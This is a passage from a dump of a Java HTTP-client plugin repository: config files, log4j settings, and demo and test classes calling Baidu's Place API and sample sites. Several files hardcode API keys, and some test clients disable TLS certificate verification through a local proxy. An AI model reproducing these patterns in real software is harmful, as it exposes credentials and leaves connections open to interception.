\\u4eba\\u7fa4\\u6570\\u91cf\\u8303\\u56f4\n#\\u4ee5\\u4e0b\\u5185\\u5bb9\\u4ec5\\u4f9b\\u53c2\\u8003\\uff0c\\u8bf7\\u6309\\u5b9e\\u9645\\u60c5\\u51b5\\u4fee\\u6539\\uff0c\n#\n#\\u7528\\u9014\\uff1a\\u6587\\u6863\\u7535\\u5b50\\u5316\\uff0c\\u81ea\\u52a8\\u767b\\u5f55\\uff0c\\u626b\\u4e8c\\u7ef4\\u7801.....\n#\\u73af\\u5883\\uff1aPC\\uff0cAPP\\uff0cWEB\n#\\u5de5\\u5177\\u6216\\u8bed\\u8a00: eclipse,VS,ZS c++,c#,java,php,python,js .....\n#\\u7c7b\\u578b\\uff1a\\u4e2a\\u4eba\\uff0c\\u516c\\u53f8\\uff0c\\u5f00\\u6e90\\uff0c\\u514d\\u8d39\n#\\u4eba\\u7fa4\\u6570\\u91cf\\uff1a0-10,10-50,50-100,100+ .....\n#\n#\n#\\u865a\\u6784\\u7f16\\u9020\\u6216\\u4e0d\\u7b26\\u5408\\u8981\\u6c42\\u7684\\u4e0d\\u4f1a\\u56de\\u590d\n#\\u65e0\\u610f\\u601d\\u7684\\u4e71\\u8f93\\u5165\\u4f1a\\u8fdb\\u5165\\u5783\\u573e\\u7bb1\n#\\u53ef\\u80fd\\u4f1a\\u6709\\u5ef6\\u8fdf\\uff0c\\u8bf7\\u5306\\u591a\\u6b21\\u91cd\\u590d\\u53d1\\u9001\\uff0c\n#\\u591a\\u6b21\\u53d1\\u9001\\u7cfb\\u7edf\\u53ef\\u80fd\\u4f1a\\u5224\\u65ad\\u4e3a\\u5783\\u573e\\u4fe1\\u4ef6\n#\n#\\u53d1\\u90ae\\u4ef6\\u5230 ok\\uff08@\\uff09ocrking.com \\u83b7\\u53d6\n#!!!!\\u90ae\\u4ef6\\u5730\\u5740\\u8bf7\\u53bb\\u6389\\u4e24\\u4fa7\\u62ec\\u53f7!!!!\n#\\u4ec5\\u63a5\\u53d7\\u4ee5\\u4e0b\\u540e\\u7f00\\u7684\\u90ae\\u7bb1 qq.com/163.com/sina.com/126.com\n#  /outlook.com/gmail.com/live.com/139.com/wo.com.cn/189.com\n#\\u56de\\u53d1\\u7684apiKey\\u5b57\\u4e32\\u533a\\u5206\\u5927\\u5c0f\\u5199\n\n#\\u683c\\u5f0f\\u5982\\u4e0b\\uff1a\nOCR.key=1a8085d1b4e993649f2SvMv6S33ZzHfUb7OTVlT048KA9t0GcT1fSaumUsi9UYSb6kX6t3IlnbA\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/main/resources/httphelper-config.dtd",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<!-- httphelper-config.xml配置文件DTD，必须放在classpath下，可以指定请求的xml路径，请求xml文件名称可以自定义 -->\n<!ELEMENT httphelper-config (\n        httpclient-config?,\n        default-handlers?,\n        requests?,\n        request-xml?)\n>\n<!-- 请求客户端配置 -->\n<!ELEMENT httpclient-config (http?,pool?)>\n<!-- http请求默认编码，超时 -->\n<!ELEMENT http EMPTY>\n<!ATTLIST http\n        charset CDATA #IMPLIED\n        connection-timeout CDATA #IMPLIED\n        socket-timeout CDATA #IMPLIED\n>\n<!-- 请求线程池配置 -->\n<!ELEMENT pool EMPTY>\n<!ATTLIST pool\n        QueueCapacity CDATA #IMPLIED\n        CorePoolSize CDATA #IMPLIED\n        MaxPoolSize CDATA #IMPLIED\n        KeepAliveSeconds CDATA #IMPLIED\n>\n<!-- 全局默认处理器和用户自定义的处理器 -->\n<!ELEMENT default-handlers (pre?,pro?)>\n<!ELEMENT pre (handler+)>\n<!ELEMENT pro (handler+)>\n<!ELEMENT handler EMPTY>\n<!ATTLIST handler\n        clazz CDATA #REQUIRED\n        type (init|parameter|url|validation|parse|user) \"user\"\n        >\n\n\n<!-- 通过xml配置的请求，通过WSHttpRequestFactory根据id获取一个WSHttpRequest类型的实体 -->\n<!ELEMENT requests (request+)>\n<!ELEMENT request (parameters?,headers?,handlers?)>\n<!ATTLIST request\n        name CDATA #REQUIRED\n        url CDATA #REQUIRED\n        description CDATA #IMPLIED\n        response-type (TEXT|HTML|JSON|XML|BYTE_ARRAY) \"HTML\"\n        method (GET|POST|DELETE) \"GET\"\n        charset CDATA #IMPLIED\n        result-class CDATA #IMPLIED\n>\n<!-- 该请求自定义的处理器 -->\n<!ELEMENT handlers (pre?,pro?)>\n\n<!ELEMENT parameters (parameter+)>\n<!ELEMENT parameter EMPTY>\n<!ATTLIST parameter\n        name CDATA #REQUIRED\n        description CDATA #IMPLIED\n        defaultValue CDATA #IMPLIED\n        type (STRING|INT|LIST|FILE) \"STRING\"\n        required (true|false) \"false\"\n        example CDATA #IMPLIED\n        validateRegex CDATA #IMPLIED\n>\n\n<!ELEMENT headers (header+)>\n<!ELEMENT header EMPTY>\n<!ATTLIST header\n        name CDATA #REQUIRED\n        value CDATA #REQUIRED\n>\n\n<!-- 请求配置xml存放路径，可以指定到相对路径下-->\n<!ELEMENT request-xml (path+)>\n<!ELEMENT path EMPTY>\n<!ATTLIST path\n        value CDATA #REQUIRED\n>"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/main/resources/httphelper-config.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE httphelper-config SYSTEM \"httphelper-config.dtd\">\n<httphelper-config>\n    <httpclient-config>\n        <http charset=\"utf-8\" connection-timeout=\"15000\" socket-timeout=\"15000\"/>\n        <pool QueueCapacity=\"150\" MaxPoolSize=\"100\" CorePoolSize=\"50\" KeepAliveSeconds=\"300\"/>\n    </httpclient-config>\n    <default-handlers>\n        <pre>\n            <handler type=\"init\" clazz=\"org.ws.httphelper.request.handler.impl.pre.DefaultInitHandlerImpl\"/>\n            <handler type=\"parameter\" clazz=\"org.ws.httphelper.request.handler.impl.pre.DefaultParameterBuliderHandlerImpl\"/>\n            <handler type=\"url\" clazz=\"org.ws.httphelper.request.handler.impl.pre.DefaultURLBuilderHandlerImpl\"/>\n            <handler type=\"validation\" clazz=\"org.ws.httphelper.request.handler.impl.pre.DefaultValidationHandlerImpl\"/>\n        </pre>\n        <pro>\n            <handler type=\"parse\" clazz=\"org.ws.httphelper.request.handler.impl.pro.DefaultResultParseHandlerImpl\"/>\n        </pro>\n    </default-handlers>\n</httphelper-config>"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/main/resources/log4j (2).properties",
    "content": "## log4j config\nlog4j.rootLogger=DEBUG,ROLLING_FILE,stdout\nlog4j.appender.stdout=org.apache.log4j.ConsoleAppender\nlog4j.appender.stdout.layout=org.apache.log4j.PatternLayout\nlog4j.appender.stdout.layout.ConversionPattern=%-d{HH\\:mm\\:ss} [%l] %m%n\n\nlog4j.appender.ROLLING_FILE=org.apache.log4j.RollingFileAppender\nlog4j.appender.ROLLING_FILE.File=../logs/icpc.log\nlog4j.appender.ROLLING_FILE.layout=org.apache.log4j.PatternLayout\nlog4j.appender.ROLLING_FILE.layout.ConversionPattern=%-d{yyyy-MM-dd HH\\:mm\\:ss} [%l] - [%p] %m%n\nlog4j.appender.ROLLING_FILE.MaxFileSize=10240KB\nlog4j.appender.ROLLING_FILE.MaxBackupIndex=5\n\nlog4j.category.org.apache=ERROR\nlog4j.category.org.ws.httphelper=DEBUG\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/main/resources/log4j.properties",
    "content": "### \\u8bbe\\u7f6e Logger \\u8f93\\u51fa\\u7ea7\\u522b\\u548c\\u8f93\\u51fa\\u76ee\\u7684\\u5730 ### \n\nlog4j.rootLogger=INFO,stdout,logfile\n\n### \\u628a\\u65e5\\u5fd7\\u4fe1\\u606f\\u8f93\\u51fa\\u5230\\u63a7\\u5236\\u53f0 ### \n\nlog4j.appender.INFO=org.apache.log4j.ConsoleAppender\nlog4j.appender.INFO.layout=org.apache.log4j.PatternLayout\nlog4j.appender.INFO.layout.ConversionPattern=[%-5p] %L method:%l - %m%n\n\nlog4j.appender.stdout=org.apache.log4j.ConsoleAppender\n#log4j.appender.stdout.Target=System.err\nlog4j.appender.stdout.layout=org.apache.log4j.SimpleLayout\n#log4j.appender.stdout.layout.ConversionPattern=[%-5p] %L method:%l - %m%n\n\n### \\u628a\\u65e5\\u5fd7\\u4fe1\\u606f\\u8f93\\u51fa\\u5230\\u6587\\u4ef6 jbit.log ### \n\n#log4j.appender.logfile=org.apache.log4j.FileAppender \nlog4j.appender.logfile=org.apache.log4j.DailyRollingFileAppender\n\nlog4j.appender.logfile.File=/logs/httpclient/httputil.log\n\nlog4j.appender.logfile.DatePattern='.'yyyy-MM-dd\n\nlog4j.appender.logfile.layout=org.apache.log4j.PatternLayout \n\n#log4j.appender.logfile.layout.ConversionPattern=%d{yyyy-MM-dd HH:mm:ss} %F %p %m%n \nlog4j.appender.logfile.layout.ConversionPattern=[%-5p] %L-%d{yyyy-MM-dd HH:mm:ss,SSS} method:%l - %m%n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/main/resources/wshttphelper.config.properties",
    "content": "http.encod.charset=UTF-8\nhttp.connection.timeout=15000\nhttp.socket.timeout=15000\n\npool.QueueCapacity=150\npool.CorePoolSize=50\npool.MaxPoolSize=100\npool.KeepAliveSeconds=300\n\ndefault.handler.pre.init=org.ws.httphelper.request.handler.impl.pre.DefaultInitHandlerImpl\ndefault.handler.pre.parameter=org.ws.httphelper.request.handler.impl.pre.DefaultParameterBuliderHandlerImpl\ndefault.handler.pre.url=org.ws.httphelper.request.handler.impl.pre.DefaultURLBuilderHandlerImpl\ndefault.handler.pre.validation=org.ws.httphelper.request.handler.impl.pre.DefaultValidationHandlerImpl\n\ndefault.handler.pro.parse=org.ws.httphelper.request.handler.impl.pro.DefaultResultParseHandlerImpl\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/main/webapp/WEB-INF/web.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<web-app xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns=\"http://java.sun.com/xml/ns/javaee\" xsi:schemaLocation=\"http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd\" id=\"WebApp_ID\" version=\"3.0\">\n  <display-name>jun_test</display-name>\n  <welcome-file-list>\n    <welcome-file>index.html</welcome-file>\n    <welcome-file>index.htm</welcome-file>\n    <welcome-file>index.jsp</welcome-file>\n    <welcome-file>default.html</welcome-file>\n    <welcome-file>default.htm</welcome-file>\n    <welcome-file>default.jsp</welcome-file>\n  </welcome-file-list>\n</web-app>"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/main/webapp/index.jsp",
    "content": "<html>\n<body>\n<h2>Hello World!</h2>\n</body>\n</html>\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/test/java/com/jun/plugin/baidu/api/PlaceAPI.java",
    "content": "package com.jun.plugin.baidu.api;\n\nimport com.jun.plugin.httphelper.annotation.Parameter;\nimport com.jun.plugin.httphelper.annotation.WSRequest;\nimport com.jun.plugin.httphelper.model.WSRequestContext;\nimport com.jun.plugin.httphelper.request.WSAbstractHttpRequest;\nimport com.jun.plugin.httphelper.request.WSAnnotationHttpRequest;\n\n/**\n * Created by Administrator on 15-12-11.\n * 按照以下接口介绍开发对应接口实例\n * http://developer.baidu.com/map/index.php?title=webapi/guide/webservice-placeapi\n */\n@WSRequest(\n        name = \"Place API 提供区域检索POI服务与POI详情服务\",\n        url = \"http://api.map.baidu.com/place/v2/search\",\n        method = WSRequest.MethodType.GET,\n        responseType = WSRequest.ResponseType.JSON,\n        charset = \"UTF-8\",\n        parameters = {\n                @Parameter(name=\"q\",description = \"检索关键字\",required = true,example = \"中关村、ATM、百度大厦\"),\n                @Parameter(name=\"region\",description = \"检索区域\",required = true,example = \"北京\"),\n                @Parameter(name=\"output\",description = \"输出格式\",defaultValue = \"json\",example = \"日式烧烤/铁板烧、朝外大街\"),\n                @Parameter(name=\"scope\",description = \"检索结果详细程度\",required = true,defaultValue = \"1\",example = \"\"),\n                @Parameter(name=\"filter\",description = \"检索过滤条件\",example = \"\"),\n                @Parameter(name=\"page_size\",description = \"范围记录数量\",defaultValue = \"10\",example = \"\"),\n                @Parameter(name=\"page_num\",description = \"范围记录数量\",defaultValue = \"0\",example = \"\"),\n                @Parameter(name=\"ak\",description = \"用户的访问密钥\",required = true,example = \"\"),\n                @Parameter(name=\"sn\",description = \"用户的权限签名\",example = \"\"),\n                @Parameter(name=\"timestamp\",description = \"设置sn后该值必填\",example = \"\")\n        }\n)\npublic class PlaceAPI extends WSAnnotationHttpRequest {\n    public void init(WSRequestContext context){\n        context.addInputData(\"ak\",\"E4805d16520de693a3fe707cdc962045\");\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/test/java/com/jun/plugin/baidu/api/TestPlaceAPI.java",
    "content": "package com.jun.plugin.baidu.api;\n\nimport junit.framework.TestCase;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport com.jun.plugin.httphelper.WSHttpHelper;\n\n/**\n * Created by Administrator on 15-12-11.\n */\npublic class TestPlaceAPI extends TestCase {\n    public void testRequest()throws Exception{\n        PlaceAPI api = new PlaceAPI();\n        api.addParameter(\"q\",\"饭店\");\n        api.addParameter(\"region\",\"北京\");\n        System.out.println(api.execute().getBody().toString());\n        System.out.println(api.getContext().getUrl());\n    }\n\n    public void testDoGet()throws Exception{\n        Map<String,Object> param = new HashMap<String,Object>();\n        param.put(\"uid\",\"5a8fb739999a70a54207c130\");\n        param.put(\"ak\",\"E4805d16520de693a3fe707cdc962045\");\n        param.put(\"output\",\"json\");\n        param.put(\"scope\",\"2\");\n        Object obj=WSHttpHelper.doGetHtml(\"http://api.map.baidu.com/place/v2/detail\", param);\n        System.out.print(obj.toString());\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/test/java/com/jun/plugin/httpclient/httpclientutil/test/Demo.java",
    "content": "package com.jun.plugin.httpclient.httpclientutil.test;\n\nimport java.io.FileNotFoundException;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport org.apache.http.Header;\nimport org.apache.http.client.HttpClient;\n\nimport com.jun.plugin.httpclient.httpclientutil.HttpClientUtil;\nimport com.jun.plugin.httpclient.httpclientutil.builder.HCB;\nimport com.jun.plugin.httpclient.httpclientutil.common.HttpConfig;\nimport com.jun.plugin.httpclient.httpclientutil.common.HttpHeader;\nimport com.jun.plugin.httpclient.httpclientutil.common.HttpResult;\nimport com.jun.plugin.httpclient.httpclientutil.common.SSLs.SSLProtocolVersion;\nimport com.jun.plugin.httpclient.httpclientutil.exception.HttpProcessException;\n\n/** \n * 使用简单介绍\n * \n * @author arron\n * @date 2016年11月7日 下午2:36:16 \n * @version 1.0 \n */\npublic class Demo {\n\n\tpublic static void main(String[] args) throws HttpProcessException, FileNotFoundException {\n\t\tString url = \"https://github.com/Arronlong/httpclientutil\";\n\n\t\t//最简单的使用：\n\t\tString html = HttpClientUtil.get(HttpConfig.custom().url(url).client(HCB.custom().sslpv(SSLProtocolVersion.TLSv1_2).ssl().build()));\n\t\tSystem.out.println(html);\n\t\t\n\t\t//---------------------------------\n\t\t//\t\t\t【详细说明】\n\t\t//--------------------------------\n\t\t\n\t\t//插件式配置Header（各种header信息、自定义header）\n\t\tHeader[] headers \t= HttpHeader.custom()\n\t\t\t\t\t\t\t\t\t\t\t.userAgent(\"javacl\")\n\t\t\t\t\t\t\t\t\t\t\t.other(\"customer\", \"自定义\")\n\t\t\t\t\t\t\t\t\t\t\t.build();\n\t\t\n\t\t//插件式配置生成HttpClient时所需参数（超时、连接池、ssl、重试）\n\t\tHCB hcb \t\t\t\t= HCB.custom()\n\t\t\t\t\t\t\t\t\t\t\t//.timeout(1000) \t\t//超时\n\t\t\t\t\t\t\t\t\t\t\t.pool(100, 10)    \t//启用连接池，每个路由最大创建10个链接，总连接数限制为100个\n\t\t\t\t\t\t\t\t\t\t\t.sslpv(SSLProtocolVersion.TLSv1_2) \t//可设置ssl版本号，默认SSLv3，用于ssl，也可以调用sslpv(\"TLSv1.2\")\n\t\t\t\t\t\t\t\t\t\t\t.ssl()  \t\t\t   \t\t//https，支持自定义ssl证书路径和密码，ssl(String keyStorePath, String keyStorepass)\n\t\t\t\t\t\t\t\t\t\t\t.retry(5)\t\t\t\t\t//重试5次\n\t\t\t\t\t\t\t\t\t\t\t;\n\t\t\n\t\tHttpClient client = hcb.build();\n\t\t\n\t\tMap<String, Object> map = new HashMap<String, Object>();\n\t\tmap.put(\"key1\", \"value1\");\n\t\tmap.put(\"key2\", \"value2\");\n\t\t\n\t\t//插件式配置请求参数（网址、请求参数、编码、client）\n\t\tHttpConfig config = HttpConfig.custom()\n\t\t\t\t\t\t\t\t\t\t\t.headers(headers)\t//设置headers，不需要时则无需设置\n\t\t\t\t\t\t\t\t\t\t\t.timeout(1000) \t\t//超时\n\t\t\t\t\t\t\t\t\t\t\t.url(url)           //设置请求的url\n\t\t\t\t\t\t\t\t\t\t\t.map(map)\t\t\t//设置请求参数，没有则无需设置\n\t\t\t\t\t\t\t\t\t\t\t.encoding(\"utf-8\")  //设置请求和返回编码，默认就是Charset.defaultCharset()\n\t\t\t\t\t\t\t\t\t\t\t.client(client)     //如果只是简单使用，无需设置，会自动获取默认的一个client对象\n\t\t\t\t\t\t\t\t\t\t\t//.inenc(\"utf-8\")   //设置请求编码，如果请求返回一直，不需要再单独设置\n\t\t\t\t\t\t\t\t\t\t\t//.inenc(\"utf-8\")   //设置返回编码，如果请求返回一直，不需要再单独设置\n\t\t\t\t\t\t\t\t\t\t\t//.json(\"json字符串\") //json方式请求的话，就不用设置map方法，当然二者可以共用。\n\t\t\t\t\t\t\t\t\t\t\t//.context(HttpCookies.custom().getContext())      //设置cookie，用于完成携带cookie的操作\n\t\t\t\t\t\t\t\t\t\t\t//.out(new FileOutputStream(\"保存地址\"))              //下载的话，设置这个方法,否则不要设置\n\t\t\t\t\t\t\t\t\t\t\t//.files(new String[]{\"d:/1.txt\",\"d:/2.txt\"})      //上传的话，传递文件路径，一般还需map配置，设置服务器保存路径\n\t\t\t\t\t\t\t\t\t\t\t;\n\t\t\n\t\t\n\t\t//使用方式：\n\t\tString result1 = HttpClientUtil.get(config);    //get请求\n\t\tString result2 = HttpClientUtil.post(config);   //post请求\n\t\tSystem.out.println(result1);\n\t\tSystem.out.println(result2);\n\t\t\n\t\t//HttpClientUtil.down(config);                  //下载，需要调用config.out(fileOutputStream对象)\n\t\t//HttpClientUtil.upload(config);                //上传，需要调用config.files(文件路径数组)\n\t\t\n\t\t//如果指向看是否访问正常\n\t\t//String result3 = HttpClientUtil.head(config); // 返回Http协议号+状态码\n\t\t//int statusCode = HttpClientUtil.status(config);//返回状态码\n\t\t\n\t\t//[新增方法]sendAndGetResp，可以返回原生的HttpResponse对象，\n\t\t//同时返回常用的几类对象：result、header、StatusLine、StatusCode\n\t\tHttpResult respResult = HttpClientUtil.sendAndGetResp(config);\n\t\tSystem.out.println(\"返回结果：\\n\"+respResult.getResult());\n\t\tSystem.out.println(\"返回resp-header：\"+respResult.getRespHeaders());//可以遍历\n\t\tSystem.out.println(\"返回具体resp-header：\"+respResult.getHeaders(\"Date\"));\n\t\tSystem.out.println(\"返回StatusLine对象：\"+respResult.getStatusLine());\n\t\tSystem.out.println(\"返回StatusCode：\"+respResult.getStatusCode());\n\t\tSystem.out.println(\"返回HttpResponse对象）（可自行处理）：\"+respResult.getResp());\n\t\t\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/test/java/com/jun/plugin/httpclient/httpclientutil/test/HttpClientTest.java",
    "content": "package com.jun.plugin.httpclient.httpclientutil.test;\n\nimport java.io.File;\nimport java.io.FileNotFoundException;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.util.concurrent.CountDownLatch;\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.Executors;\n\nimport org.apache.http.Header;\nimport org.apache.http.client.HttpClient;\n\nimport com.jun.plugin.httpclient.httpclientutil.HttpClientUtil;\nimport com.jun.plugin.httpclient.httpclientutil.builder.HCB;\nimport com.jun.plugin.httpclient.httpclientutil.common.HttpConfig;\nimport com.jun.plugin.httpclient.httpclientutil.common.HttpHeader;\nimport com.jun.plugin.httpclient.httpclientutil.exception.HttpProcessException;\n\n/** \n * \n * @author arron\n * @date 2015年11月1日 下午2:23:18 \n * @version 1.0 \n */\npublic class HttpClientTest {\n\t\n\tpublic static void testOne() throws HttpProcessException{\n\t\t\n\t\tSystem.out.println(\"--------简单方式调用（默认post）--------\");\n\t\tString url = \"http://tool.oschina.net/\";\n\t\tHttpConfig  config = HttpConfig.custom();\n\t\t//简单调用\n\t\tString resp = HttpClientUtil.get(config.url(url));\n\n\t\tSystem.out.println(\"请求结果内容长度：\"+ resp.length());\n\t\t\n\t\tSystem.out.println(\"\\n#################################\\n\");\n\t\t\n\t\tSystem.out.println(\"--------加入header设置--------\");\n\t\turl=\"http://blog.csdn.net/xiaoxian8023\";\n\t\t//设置header信息\n\t\tHeader[] headers=HttpHeader.custom().userAgent(\"Mozilla/5.0\").build();\n\t\t//执行请求\n\t\tresp = HttpClientUtil.get(config.headers(headers));\n\t\tSystem.out.println(\"请求结果内容长度：\"+ resp.length());\n\n\t\tSystem.out.println(\"\\n#################################\\n\");\n\t\t\n\t\tSystem.out.println(\"--------代理设置（绕过证书验证）-------\");\n\t\turl=\"https://www.facebook.com/\";\n\t\tHttpClient client= HCB.custom().timeout(10000).proxy(\"127.0.0.1\", 8087).ssl().build();//采用默认方式（绕过证书验证）\n\t\t//执行请求\n\t\tresp = HttpClientUtil.get(config.client(client));\n\t\tSystem.out.println(\"请求结果内容长度：\"+ resp.length());\n\n\t\tSystem.out.println(\"\\n#################################\\n\");\n\n//\t\tSystem.out.println(\"--------代理设置（自签名证书验证）+header+get方式-------\");\n//\t\turl = \"https://sso.tgb.com:8443/cas/login\";\n//\t\tclient= HCB.custom().timeout(10000).ssl(\"D:\\\\keys\\\\wsriakey\",\"tomcat\").build();\n//\t\theaders=HttpHeader.custom().keepAlive(\"false\").connection(\"close\").contentType(Headers.APP_FORM_URLENCODED).build();\n//\t\t//执行请求\n//\t\tresp = CopyOfHttpClientUtil.get(config.method(HttpMethods.GET));\n//\t\tSystem.out.println(\"请求结果内容长度：\"+ resp.length());\n\t\ttry {\n\t\t\tSystem.out.println(\"--------下载测试-------\");\n\t\t\turl=\"http://ss.bdimg.com/static/superman/img/logo/logo_white_fe6da1ec.png\";\n\t\t\tFileOutputStream out = new FileOutputStream(new File(\"d://aaa//000.png\"));\n\t\t\tHttpClientUtil.down(HttpConfig.custom().url(url).out(out));\n\t\t\tout.flush();\n\t\t\tout.close();\n\t\t\tSystem.out.println(\"--------下载测试+代理-------\");\n\t\t\t\n\t\t\tout = new FileOutputStream(new File(\"d://aaa//001.png\"));\n\t\t\tHttpClientUtil.down(HttpConfig.custom().client(client).url(url).out(out));\n\t\t\tout.flush();\n\t\t\tout.close();\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\n\t\tSystem.out.println(\"\\n#################################\\n\");\n\t}\n\t\n\t\n\t\n\tpublic static void testMutilTask() throws HttpProcessException{\n\t\t// URL列表数组\n\t\tString[] urls = {\n\t\t\t\t\"http://blog.csdn.net/xiaoxian8023/article/details/49883113\",\n\t\t\t\t\"http://blog.csdn.net/xiaoxian8023/article/details/49909359\",\n\t\t\t\t\"http://blog.csdn.net/xiaoxian8023/article/details/49910127\",\n\t\t\t\t\"http://blog.csdn.net/xiaoxian8023/article/details/49910885\",\n\t\t\t\t\n//\t\t\t\t\"http://blog.csdn.net/xiaoxian8023/article/details/49862725\",\n//\t\t\t\t\"http://blog.csdn.net/xiaoxian8023/article/details/49834643\",\n//\t\t\t\t\"http://blog.csdn.net/xiaoxian8023/article/details/49834615\",\n//\t\t\t\t\"http://blog.csdn.net/xiaoxian8023/article/details/49834589\",\n//\t\t\t\t\"http://blog.csdn.net/xiaoxian8023/article/details/49785417\",\n//\t\t\t\t\n//\t\t\t\t\"http://blog.csdn.net/xiaoxian8023/article/details/48679609\",\n//\t\t\t\t\"http://blog.csdn.net/xiaoxian8023/article/details/48681987\",\n//\t\t\t\t\"http://blog.csdn.net/xiaoxian8023/article/details/48710653\",\n//\t\t\t\t\"http://blog.csdn.net/xiaoxian8023/article/details/48729479\",\n//\t\t\t\t\"http://blog.csdn.net/xiaoxian8023/article/details/48733249\",\n//\n//\t\t\t\t\"http://blog.csdn.net/xiaoxian8023/article/details/48806871\",\n//\t\t\t\t\"http://blog.csdn.net/xiaoxian8023/article/details/48826857\",\n//\t\t\t\t\"http://blog.csdn.net/xiaoxian8023/article/details/49663643\",\n//\t\t\t\t\"http://blog.csdn.net/xiaoxian8023/article/details/49619777\",\n//\t\t\t\t\"http://blog.csdn.net/xiaoxian8023/article/details/47335659\",\n//\n//\t\t\t\t\"http://blog.csdn.net/xiaoxian8023/article/details/47301245\",\n//\t\t\t\t\"http://blog.csdn.net/xiaoxian8023/article/details/47057573\",\n//\t\t\t\t\"http://blog.csdn.net/xiaoxian8023/article/details/45601347\",\n//\t\t\t\t\"http://blog.csdn.net/xiaoxian8023/article/details/45569441\",\n//\t\t\t\t\"http://blog.csdn.net/xiaoxian8023/article/details/43312929\", \n\t\t\t\t};\n\t\tString[] imgurls ={\"http://ss.bdimg.com/static/superman/img/logo/logo_white_fe6da1ec.png\",\n\t\t\t\t\"https://scontent-hkg3-1.xx.fbcdn.net/hphotos-xaf1/t39.2365-6/11057093_824152007634067_1766252919_n.png\"};\n\t\t// 设置header信息\n\t\tHeader[] headers = HttpHeader.custom().userAgent(\"Mozilla/5.0\").from(\"http://blog.csdn.net/newest.html\").build();\n\t\tHttpClient client= HCB.custom().timeout(10000).proxy(\"127.0.0.1\", 8087).ssl().build();//采用默认方式（绕过证书验证）\n\t\t\n\t\t long start = System.currentTimeMillis();        \n\t        try {\n\t\t\t\tint pagecount = urls.length;\n\t\t\t\tExecutorService executors = Executors.newFixedThreadPool(pagecount);\n\t\t\t\tCountDownLatch countDownLatch = new CountDownLatch(pagecount*10);         \n\t\t\t\tfor(int i = 0; i< pagecount*10;i++){\n\t\t\t\t\tFileOutputStream out = new FileOutputStream(new File(\"d://aaa//\"+(i+1)+\".png\"));\n\t\t\t\t    //启动线程抓取\n\t\t\t\t    executors.execute(new GetRunnable(countDownLatch).setConfig(HttpConfig.custom().headers(headers).url(urls[i%pagecount])));\n\t\t\t\t    executors.execute(new GetRunnable(countDownLatch).setConfig(HttpConfig.custom().client(client).headers(headers).url(imgurls[i%2]).out(out)));\n\t\t\t\t}\n\t\t\t\tcountDownLatch.await();\n\t\t\t\texecutors.shutdown();\n\t\t\t} catch (FileNotFoundException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t} catch (InterruptedException e) {\n\t\t\t\te.printStackTrace();\n\t        } finally {\n\t            System.out.println(\"线程\" + Thread.currentThread().getName() + \", 所有线程已完成，开始进入下一步！\");\n\t        }\n\t         \n\t        long end = System.currentTimeMillis();\n\t        System.out.println(\"总耗时（毫秒）： -> \" + (end - start));\n\t        //(7715+7705+7616)/3= 23 036/3= 7 678.66---150=51.2\n\t        //(9564+8250+8038+7604+8401)/5=41 857/5=8 371.4--150\n\t        //(9803+8244+8188+8378+8188)/5=42 801/5= 8 560.2---150\n\t}\n\t\n\t static class GetRunnable implements Runnable {\n\t        private CountDownLatch countDownLatch;\n\t        private HttpConfig config = null;\n\t        \n\t        public GetRunnable setConfig(HttpConfig config){\n\t        \tthis.config = config;\n\t        \treturn this;\n\t        }\n\n\t        public GetRunnable(CountDownLatch countDownLatch){\n\t            this.countDownLatch = countDownLatch;\n\t        }\n\t        @Override\n\t        public void run() {\n\t            try {\n\t            \tif(config.out()==null){\n\t            \t\tString response = null;\n\t            \t\tresponse =  HttpClientUtil.get(config);\n\t            \t\tSystem.out.println(Thread.currentThread().getName()+\"--获取内容长度：\"+response.length());\n\t            \t}else{\n\t            \t\tHttpClientUtil.down(config);\n\t            \t\ttry {\n\t\t\t\t\t\t\tconfig.out().flush();\n\t\t\t\t\t\t\tconfig.out().close();\n\t\t\t\t\t\t} catch (IOException e) {\n\t\t\t\t\t\t\te.printStackTrace();\n\t\t\t\t\t\t}\n\t            \t}\n\t            } catch (HttpProcessException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t} finally {\n\t                countDownLatch.countDown();\n\t            }\n\t        }\n\t    }  \n\t\n\tpublic static void main(String[] args) throws Exception {\n\t\tFile file = new File(\"d://aaa\");\n\t\tif(!file.exists() && file.isDirectory()){\n\t\t\tfile.mkdir();\n\t\t}\n//\t\ttestOne();\n\t\ttestMutilTask();\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/test/java/com/jun/plugin/httpclient/httpclientutil/test/SimpleHttpClientDemo.java",
    "content": "package com.jun.plugin.httpclient.httpclientutil.test;\n\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.FileNotFoundException;\nimport java.io.IOException;\nimport java.security.KeyManagementException;\nimport java.security.KeyStore;\nimport java.security.KeyStoreException;\nimport java.security.NoSuchAlgorithmException;\nimport java.security.cert.CertificateException;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Map.Entry;\n\nimport javax.net.ssl.SSLContext;\nimport javax.net.ssl.TrustManager;\nimport javax.net.ssl.X509TrustManager;\n\nimport org.apache.http.HttpEntity;\nimport org.apache.http.HttpHost;\nimport org.apache.http.NameValuePair;\nimport org.apache.http.ParseException;\nimport 